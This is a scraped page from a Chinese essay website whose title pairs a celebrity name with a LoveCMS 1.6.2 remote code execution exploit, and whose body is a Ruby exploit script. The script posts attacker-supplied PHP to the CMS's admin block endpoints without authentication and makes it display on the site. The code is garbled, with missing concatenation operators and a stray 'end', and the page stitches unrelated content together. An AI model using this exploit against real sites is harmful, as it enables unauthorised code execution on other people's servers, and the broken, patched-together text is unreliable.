• 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
  • 当前位置: 山茶花美文网 > 范文大全 > 正文

    LoveU2陈伟霆 [LoveCMS,1.6.2,Final,Remote,Code,Execution,Exploit]

    时间:2020-02-18来源:山茶花美文网 本文已影响 山茶花美文网手机站

    #!/usr/bin/ruby

    #

    ## Exploit by PoMdaPiMp!

    ## ---------------------

    ## pomdapimp(at)gmail(dotcom)

    ##

    ## LoveCMS Exploit Series

    ## Episode 1: adding a side block

    ##

    ## Description: add some php into a block container

    ## on the side of the site. phpinfo() is called.

    ##

    ## Usage: ./LoveCMS_1_blocks.rb <host>

    ## Ex: ./LoveCMS_2_themes.rb http://site.com/lovecms/

    ##

    ## Tested on: lovecms_1.6.2_final (MacOS X, Xampp)

    # require "net/http"

    require "uri" @host = "http://127.0.0.1/lovecms_1.6.2_final/lovecms/" @host = ARGV[0] if ARGV[0]

    @host = @host[-1, 1].to_s != "/" ? "/" : "" if @host

    # --

    puts " LoveCMS Exploit Series. #1: Adding side blocks."

    puts

    puts " : Attacking host: " @host # --

    # Insert a new block

    res = Net::HTTP.post_form(URI.parse(@host "system/admin/addblock.php"),

    {"submit"=>"1", "title"=>"H4Ck", "content" => "phpinfo();", "type" => "php"})

    puts " :: Block inserted." # --

    # Build post variable for next step

    post_vars = {"submit" => 1}

    (1..50).each do |id|

    post_vars["position" id.to_s] = 1

    post_vars["height" id.to_s] = 1

    post_vars["visible" id.to_s] = 1

    end

    # Make the block visible

    res = Net::HTTP.post_form(URI.parse("http://127.0.0.1/lovecms_1.6.2_final/lovecms/system/admin/blocks.php"), post_vars )

    puts " :: Blocks displayed." # --

    puts

    puts " - Visit " @host

    end

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全